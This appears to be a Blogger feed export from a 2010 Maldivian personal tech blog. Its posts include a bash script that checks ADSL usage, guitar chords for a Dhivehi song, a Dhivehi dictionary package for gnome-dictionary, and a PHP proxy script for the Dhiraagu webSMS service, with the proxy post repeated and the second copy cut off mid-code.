/&gt;#-------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;username= #your username&lt;br /&gt;password= #your password&lt;br /&gt;package_allowance=20 #your_package allowance&lt;br /&gt;&lt;br /&gt;cd /tmp&lt;br /&gt;wget --quiet --post-data "web_user=${username}&amp;amp;web_pass=${password}" \&lt;br /&gt; -p http://dsl.dhivehinet.net.mv/login.php&lt;br /&gt;&lt;br /&gt;gstring=$(img2txt -H 400 -W 4 -d none -f ansi dsl.dhivehinet.net.mv/comparision_graph.php) #yes...gstring&lt;br /&gt;gtotal=$(echo "${gstring}" | grep 44 | wc -l) #blue colored line&lt;br /&gt;gused=$(echo "${gstring}" | grep 43 | wc -l)  #yellow colored line&lt;br /&gt;gbused=$(echo "scale=3;${gused} / ${gtotal} * ${package_allowance}" | bc -l)&lt;br /&gt;gbleft=$(echo "scale=3;${package_allowance} - ${gbused}" | bc -l)&lt;br /&gt;&lt;br /&gt;echo "used: \t${gbused} Gb\nleft:\t${gbleft}Gb\nAllow: \t${package_allowance}Gb"&lt;br /&gt;&lt;br /&gt;rm -r dsl.dhivehinet.net.mv&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3166218196465754921?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3166218196465754921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/07/grab-dhiraagu-adsl-usage-from-terminal.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3166218196465754921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3166218196465754921'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/07/grab-dhiraagu-adsl-usage-from-terminal.html' title='Grab Dhiraagu ADSL usage from the terminal'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4889801138092209919</id><published>2010-07-25T18:38:00.002+08:00</published><updated>2011-05-19T00:28:32.749+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>Guitar Chords: Ey Hithaa</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;I don't know who the original artist of this song is, but the version I'm posting is the cover done by "Out of Doors" featuring the lovely Ms. Lubaina from their new album "Eyzamaanaa" (out now and available in select shops around the country - try ShellBeans)&lt;br /&gt;&lt;br /&gt;If you think the Original was good, you should hear the new one :)&lt;br /&gt;&lt;br /&gt;Enjoy.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:ch"&gt;{t:Ey hithaa}&lt;br /&gt;{st:Out of Doors (Feat. Luba)}&lt;br /&gt;&lt;br /&gt;{c:Intro chords A#m, D#m , F }&lt;br /&gt;{c:Or play with Capo on 1st - Am,Dm,E}&lt;br /&gt;&lt;br /&gt;[A#m]Beyvafaa heydhen vaanvee, [A#m]roohu beynunvaa araamu dh[D#m]eefaa eyhith[F]aa, eyhi[A#m]thaa&lt;br /&gt;[A#m]Beynumeehey aniyaadheyn, [A#m]meyge vindhah fun araamu dh[D#m]eefa, eyhith[F]aa, eyhi[A#m]tha&lt;br /&gt;[A#m]Loabi veynee karunaigaa [A#m]thehmanee hey dhen mih[D#m]aaru heefaa, eyhit[F]haa, eyhi[A#m]tha&lt;br /&gt;&lt;br /&gt;[A#m]Loabi mee veyn libey th[D#m]oofaanakee hey, eyhi[F]thaa, eyhi[A#m]thaa&lt;br /&gt;&lt;br /&gt;{c:Interlude Riff}&lt;br /&gt;&lt;br /&gt;[A#m]Neydheme dhaaimee vey[D#m]naa mi hoonaa eyhi[Fm]thaa, eyhi[A#m]thaa&lt;br /&gt;&lt;br /&gt;[A#m]Ashigen mee loabeegaa, [A#m]hadhahaa veyneh libey engeyhey, ey hi[F]thaa, eyhi[A#m]thaa&lt;br /&gt;[A#m]Roohu loabin hehvaalaa [A#m]jaadhuvee hoonun ufaan[D#m]udhenhey ey hi[F]thaa, eyhi[A#m]thaa&lt;br /&gt;[A#m]Ishqugaa, dhen mivee beyk[D#m]aaruvaan hey... ey hi[F]thaa, eyhi[A#m]thaa&lt;br /&gt;&lt;br /&gt;Beyvafaa heydhen vaanvee, roohu beynunvaa araamu dheefaa eyhithaa&lt;br /&gt;Beynumeehey aniyaadheyn, meyge vindhah fun araamu dheefa, eyhithaa..eyhithaa&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And here is a youtube video of the original song.&lt;br /&gt;&lt;br /&gt;&lt;object height="385" width="480"&gt;&lt;param name="movie" value="http://www.youtube.com/v/EkQsmMdVYO8&amp;amp;hl=en_US&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/EkQsmMdVYO8&amp;amp;hl=en_US&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4889801138092209919?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4889801138092209919/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/07/guitar-chords-ey-hithaa.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4889801138092209919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4889801138092209919'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/07/guitar-chords-ey-hithaa.html' title='Guitar Chords: Ey Hithaa'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8215355070121585780</id><published>2010-07-21T03:22:00.003+08:00</published><updated>2010-07-21T03:28:57.942+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='radheef'/><category scheme='http://www.blogger.com/atom/ns#' term='dict'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome-dictionary'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>DICT database for Dhivehi Radheef</title><content type='html'>An year ago I asked myself  "wouldn't it be cool if you could lookup words from the Radheef right from gnome-dictionary?"&lt;div&gt;&lt;br /&gt;&lt;div&gt;and so &lt;b&gt;dict-radheef&lt;/b&gt; was born.... (bear with me)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;a screenshot should give you an idea of what I'm talking about.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a id="single_image" href="http://4.bp.blogspot.com/_bwme_BmmviI/TEXy6mdQXBI/AAAAAAAAARk/K7uwNUEDToo/s1600/Screenshot-%DE%84%DE%AE%DE%85%DE%AA+-+Dictionary.png" title="isn't this awesome?"&gt;&lt;img border="1" height="188" src="http://4.bp.blogspot.com/_bwme_BmmviI/TEXy6mdQXBI/AAAAAAAAARk/K7uwNUEDToo/s320/Screenshot-%DE%84%DE%AE%DE%85%DE%AA+-+Dictionary.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;now isn't that just dandy?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Anyway I've put it all together in a neat little deb file for you kids to install. It should tell you all the dependencies and stuff. Grab it..install it..voila.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Setup&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;at this time, you'll need to setup a DICT server on your local machine (or intranet..however you wanna roll) if you're installing from the deb, it should grab all the necessities for you, and all you have to do is point gnome-dictionary to the local DICT server.&lt;br /&gt;&lt;br /&gt;do do this, go to edit-&amp;gt;preferences and click "add". Enter whatever in the fields except hostname. HOSTNAME: 127.0.0.1 and that's it.&lt;br /&gt;&lt;br /&gt;for you hardcore types.&lt;br /&gt;&lt;a href="http://ubuntuforums.org/showthread.php?t=145949"&gt;http://ubuntuforums.org/showthread.php?t=145949&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;Download&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;&lt;/span&gt;&lt;br /&gt;deb package&lt;/b&gt; : debian-all&lt;a href="http://dl.dropbox.com/u/5385653/radheef/dict-radheef1-02.deb"&gt; http://dl.dropbox.com/u/5385653/radheef/dict-radheef1-02.deb&lt;/a&gt;&lt;br /&gt;&lt;b&gt;no deb&lt;/b&gt; : &lt;a href="http://dl.dropbox.com/u/5385653/radheef/dict-radheef.zip"&gt;http://dl.dropbox.com/u/5385653/radheef/dict-radheef.zip&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8215355070121585780?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8215355070121585780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/07/dict-database-for-dhivehi-radheef.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8215355070121585780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8215355070121585780'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/07/dict-database-for-dhivehi-radheef.html' title='DICT database for Dhivehi Radheef'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_bwme_BmmviI/TEXy6mdQXBI/AAAAAAAAARk/K7uwNUEDToo/s72-c/Screenshot-%DE%84%DE%AE%DE%85%DE%AA+-+Dictionary.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-902875117558195517</id><published>2010-07-16T14:38:00.003+08:00</published><updated>2010-07-25T18:06:48.900+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><title type='text'>Overhaulin'</title><content type='html'>this sshiteskies are being updated yo..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Expect a few things to break in the meanwhile. Sorry about that..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-902875117558195517?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/902875117558195517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/07/overhaulin.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/902875117558195517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/902875117558195517'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/07/overhaulin.html' title='Overhaulin&apos;'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8686184659183958255</id><published>2010-07-05T00:01:00.001+08:00</published><updated>2010-07-09T01:57:01.829+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>To boldly go where I never thought I'd go...</title><content type='html'>Have you ever done something that you really wanted to do, but you doubted all the way through. Should I do it? Would it end in disaster or triumph? There's only one way to find out...&lt;br /&gt;&lt;br /&gt;The choice has been made though... there is no turning back.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8686184659183958255?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8686184659183958255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/07/to-boldly-go-where-i-never-thought-id.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8686184659183958255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8686184659183958255'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/07/to-boldly-go-where-i-never-thought-id.html' title='To boldly go where I never thought I&apos;d go...'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3468221028233273596</id><published>2010-06-22T11:12:00.001+08:00</published><updated>2011-02-05T04:15:42.855+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dhiraagu'/><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Dhiraagu webSMS Conduit</title><content type='html'>&lt;p&gt;I posted a &lt;a title="bash script" href="http://www.kudanai.com/2008/11/bash-script-dhiraagu-websms.html" target="_blank"&gt;simple bash script&lt;/a&gt; a long time ago to try and ease the process of sending webSMS's.&amp;nbsp;While the age when everybody around here was messing around with the service is long gone, I have personally found the service to be quite useful (it's free after all!), and still occasionally mess around with it. The script works through and through and has served it's purpose well over the ages. The problem however, was that it still required the exchange of a (relatively) large amount of data between the client (me) and the server(Dhiraagu). While this is inconsequential on a regular broadband connection, it is a problem on my rather expensive mobile data connection.&lt;/p&gt;&lt;p&gt;Thus, out of this particular need, and after a brief spurt of late night coding (4:00 am - 4:15am?) the following PHP script was born. It is to live on my hosted server, and there act as a "Conduit" between myself and Dhiraagu. As you can see, it is, more or less, a "port" of the original Bash script to PHP...and I hope the PHP gods won't rain thunder and rocks on my head for the horrible job I did of it.&lt;/p&gt;&lt;p&gt;An unexpected upshot of this however, is that it allows me to use it over SSL which I suppose is always a good thing.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Anyways...here be the thing.&lt;/p&gt;&lt;p&gt;Enjoy.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*....&lt;br /&gt;PHP script to act as a go-between for Dhiraagu websms&lt;br /&gt;to minimize data-exchange. Ideally for use over a&lt;br /&gt;mobile network.&lt;br /&gt;&lt;br /&gt;just upload the php file to some place that supports&lt;br /&gt;php_curl and make a standard GET request to the file&lt;br /&gt;with the follwing parameters:&lt;br /&gt;&lt;br /&gt;user,pass,num,msg,&amp;lt;cookie&amp;gt;&lt;br /&gt;&lt;br /&gt;where cookie is optional, and is the session string of&lt;br /&gt;an existing session.&lt;br /&gt;&lt;br /&gt;The Script returns a JSON encoded status message.&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;$old_error_handler = set_error_handler("myErrorHandler");&lt;br /&gt;$SessionData=array(&lt;br /&gt;	'status' =&amp;gt; 'OK',&lt;br /&gt;	'count' =&amp;gt; NULL,&lt;br /&gt;	'cookie' =&amp;gt; NULL,&lt;br /&gt;	'retries' =&amp;gt; 0,&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;function terminate_now() {&lt;br /&gt;	global $SessionData;&lt;br /&gt;	echo json_encode($SessionData)."\n";&lt;br /&gt;	exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function myErrorHandler($errno, $errstr, $errfile, $errline)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    global $SessionData;&lt;br /&gt;    if (!(error_reporting() &amp;amp; $errno)) {&lt;br /&gt;        return;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    switch ($errno) {&lt;br /&gt;    case E_USER_ERROR:&lt;br /&gt;        $SessionData['status']="ERR: ".$errstr;&lt;br /&gt;        terminate_now();&lt;br /&gt;        break;&lt;br /&gt;&lt;br /&gt;    case E_USER_WARNING:&lt;br /&gt;        $SessionData['status']="WARN: ".$errstr;&lt;br /&gt;        break;&lt;br /&gt;&lt;br /&gt;    default:&lt;br /&gt;        $SessionData['status']="ERRUNKWN: ".$errstr;&lt;br /&gt;	terminate_now();&lt;br /&gt;        break;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return true;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function make_curl_request($url,$post_params,$useCookie) {&lt;br /&gt;&lt;br /&gt;	global $SessionData;&lt;br /&gt;&lt;br /&gt;      	 	$ch = curl_init($url);&lt;br /&gt;      	 	curl_setopt($ch, CURLOPT_HEADER, 0);&lt;br /&gt;		curl_setopt($ch,CURLOPT_AUTOREFERER,1);&lt;br /&gt;		curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);&lt;br /&gt;		curl_setopt($ch,CURLOPT_HEADER,1);&lt;br /&gt;        	curl_setopt($ch, CURLOPT_POST, 2);&lt;br /&gt;        	curl_setopt($ch, CURLOPT_POSTFIELDS,$post_params);&lt;br /&gt;		curl_setopt($ch,CURLOPT_COOKIESESSION,1);&lt;br /&gt;		if($useCookie) {&lt;br /&gt;			curl_setopt($ch,CURLOPT_COOKIE,'Dhi='.$SessionData['cookie']);&lt;br /&gt;		}&lt;br /&gt;        	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;&lt;br /&gt;	        $output = curl_exec($ch);&lt;br /&gt;	        curl_close($ch);&lt;br /&gt;&lt;br /&gt;		return $output;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function login()&lt;br /&gt;{&lt;br /&gt;	global $SessionData;&lt;br /&gt;	$username=$_GET['user'];&lt;br /&gt;	$password=$_GET['pass'];&lt;br /&gt;&lt;br /&gt;	$return=make_curl_request('http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl',&lt;br /&gt;				'username='.urlencode($username).'&amp;amp;password='.urlencode($password),FALSE);&lt;br /&gt;&lt;br /&gt;	if(preg_match('/^Set-Cookie: Dhi=(.*?);/m', $return, $cookie_out)) {&lt;br /&gt;		$SessionData['cookie']=$cookie_out[1];&lt;br /&gt;&lt;br /&gt;		//CHECK DAILY QUOTA&lt;br /&gt;		if(preg_match('/send (.*?) more/',$return,$msg_count)) {&lt;br /&gt;			if(($SessionData['count']=$msg_count[1])&amp;lt;1){ 				trigger_error('You have Reached your Daily Quota',E_USER_ERROR); 				 			} else { 				sendsms(); 			} 		}  		return true; 	} else { 		trigger_error('Invalid Username andor Password',E_USER_ERROR); 		return false; 	} } function sendsms() { 	global $SessionData; 	$number=$_GET['num']; 	$message=$_GET['msg']; 	if(strlen($message) &amp;gt; 140) {&lt;br /&gt;		trigger_error('Message Truncated',E_USER_WARNING);&lt;br /&gt;		$message=substr($message,0,140);&lt;br /&gt;	}&lt;br /&gt;&lt;br /&gt;        $return=make_curl_request('http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl',&lt;br /&gt;				'mobilenumber='.urlencode($number).'&amp;amp;message='.urlencode($message),TRUE);&lt;br /&gt;&lt;br /&gt;	//VALIDATE THE RETURN STUFF&lt;br /&gt;	if(preg_match('/send (.*?) more/',$return,$msg_count)) {&lt;br /&gt;		$SessionData['count']=$msg_count[1];&lt;br /&gt;	} else {&lt;br /&gt;		if(($SessionData['retries']++)&amp;gt;3){&lt;br /&gt;			trigger_error('maximum number of retries exceeded',E_USER_ERROR);&lt;br /&gt;		}&lt;br /&gt;		login();&lt;br /&gt;	}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (isset($_GET['user']) &amp;amp;&amp;amp; isset($_GET['pass']) &amp;amp;&amp;amp; isset($_GET['msg']) &amp;amp;&amp;amp; isset($_GET['num'])) {&lt;br /&gt;	if(preg_match("/^7[4-9][0-9]{5}$/",$_GET['num'],$number)){&lt;br /&gt;		$_GET['num']=$number[0];&lt;br /&gt;	} else {&lt;br /&gt;		trigger_error('Invalid Number Format',E_USER_ERROR);&lt;br /&gt;	}&lt;br /&gt;} else {&lt;br /&gt;	trigger_error('Insufficiant Arguments',E_USER_ERROR);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(isset($_GET['cookie'])){&lt;br /&gt;	$SessionData['cookie']=$_GET['cookie'];&lt;br /&gt;	sendsms();&lt;br /&gt;} else {&lt;br /&gt;	login();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;terminate_now();&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3468221028233273596?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3468221028233273596/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/06/dhiraagu-websms-conduit_22.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3468221028233273596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3468221028233273596'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/06/dhiraagu-websms-conduit_22.html' title='Dhiraagu webSMS Conduit'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7046907881311928188</id><published>2010-06-22T11:12:00.000+08:00</published><updated>2011-02-05T04:14:37.086+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dhiraagu'/><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Dhiraagu webSMS Conduit</title><content type='html'>&lt;p&gt;I posted a &lt;a title="bash script" href="http://www.kudanai.com/2008/11/bash-script-dhiraagu-websms.html" target="_blank"&gt;simple bash script&lt;/a&gt; a long time ago to try and ease the process of sending webSMS's.&amp;nbsp;While the age when everybody around here was messing around with the service is long gone, I have personally found the service to be quite useful (it's free after all!), and still occasionally mess around with it. The script works through and through and has served it's purpose well over the ages. The problem however, was that it still required the exchange of a (relatively) large amount of data between the client (me) and the server(Dhiraagu). While this is inconsequential on a regular broadband connection, it is a problem on my rather expensive mobile data connection.&lt;/p&gt;&lt;p&gt;Thus, out of this particular need, and after a brief spurt of late night coding (4:00 am - 4:15am?) the following PHP script was born. It is to live on my hosted server, and there act as a "Conduit" between myself and Dhiraagu. As you can see, it is, more or less, a "port" of the original Bash script to PHP...and I hope the PHP gods won't rain thunder and rocks on my head for the horrible job I did of it.&lt;/p&gt;&lt;p&gt;An unexpected upshot of this however, is that it allows me to use it over SSL which I suppose is always a good thing.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Anyways...here be the thing.&lt;/p&gt;&lt;p&gt;Enjoy.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*....&lt;br /&gt;PHP script to act as a go-between for Dhiraagu websms&lt;br /&gt;to minimize data-exchange. Ideally for use over a&lt;br /&gt;mobile network.&lt;br /&gt;&lt;br /&gt;just upload the php file to some place that supports&lt;br /&gt;php_curl and make a standard GET request to the file&lt;br /&gt;with the follwing parameters:&lt;br /&gt;&lt;br /&gt;user,pass,num,msg,&amp;lt;cookie&amp;gt;&lt;br /&gt;&lt;br /&gt;where cookie is optional, and is the session string of&lt;br /&gt;an existing session.&lt;br /&gt;&lt;br /&gt;The Script returns a JSON encoded status message.&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;$old_error_handler = set_error_handler("myErrorHandler");&lt;br /&gt;$SessionData=array(&lt;br /&gt;	'status' =&amp;gt; 'OK',&lt;br /&gt;	'count' =&amp;gt; NULL,&lt;br /&gt;	'cookie' =&amp;gt; NULL,&lt;br /&gt;	'retries' =&amp;gt; 0,&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;function terminate_now() {&lt;br /&gt;	global $SessionData;&lt;br /&gt;	echo json_encode($SessionData)."\n";&lt;br /&gt;	exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function myErrorHandler($errno, $errstr, $errfile, $errline)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    global $SessionData;&lt;br /&gt;    if (!(error_reporting() &amp;amp; $errno)) {&lt;br /&gt;        return;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    switch ($errno) {&lt;br /&gt;    case E_USER_ERROR:&lt;br /&gt;        $SessionData['status']="ERR: ".$errstr;&lt;br /&gt;        terminate_now();&lt;br /&gt;        break;&lt;br /&gt;&lt;br /&gt;    case E_USER_WARNING:&lt;br /&gt;        $SessionData['status']="WARN: ".$errstr;&lt;br /&gt;        break;&lt;br /&gt;&lt;br /&gt;    default:&lt;br /&gt;        $SessionData['status']="ERRUNKWN: ".$errstr;&lt;br /&gt;	terminate_now();&lt;br /&gt;        break;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return true;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function make_curl_request($url,$post_params,$useCookie) {&lt;br /&gt;&lt;br /&gt;	global $SessionData;&lt;br /&gt;&lt;br /&gt;      	 	$ch = curl_init($url);&lt;br /&gt;      	 	curl_setopt($ch, CURLOPT_HEADER, 0);&lt;br /&gt;		curl_setopt($ch,CURLOPT_AUTOREFERER,1);&lt;br /&gt;		curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);&lt;br /&gt;		curl_setopt($ch,CURLOPT_HEADER,1);&lt;br /&gt;        	curl_setopt($ch, CURLOPT_POST, 2);&lt;br /&gt;        	curl_setopt($ch, CURLOPT_POSTFIELDS,$post_params);&lt;br /&gt;		curl_setopt($ch,CURLOPT_COOKIESESSION,1);&lt;br /&gt;		if($useCookie) {&lt;br /&gt;			curl_setopt($ch,CURLOPT_COOKIE,'Dhi='.$SessionData['cookie']);&lt;br /&gt;		}&lt;br /&gt;        	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;&lt;br /&gt;	        $output = curl_exec($ch);&lt;br /&gt;	        curl_close($ch);&lt;br /&gt;&lt;br /&gt;		return $output;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function login()&lt;br /&gt;{&lt;br /&gt;	global $SessionData;&lt;br /&gt;	$username=$_GET['user'];&lt;br /&gt;	$password=$_GET['pass'];&lt;br /&gt;&lt;br /&gt;	$return=make_curl_request('http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl',&lt;br /&gt;				'username='.urlencode($username).'&amp;amp;password='.urlencode($password),FALSE);&lt;br /&gt;&lt;br /&gt;	if(preg_match('/^Set-Cookie: Dhi=(.*?);/m', $return, $cookie_out)) {&lt;br /&gt;		$SessionData['cookie']=$cookie_out[1];&lt;br /&gt;&lt;br /&gt;		//CHECK DAILY QUOTA&lt;br /&gt;		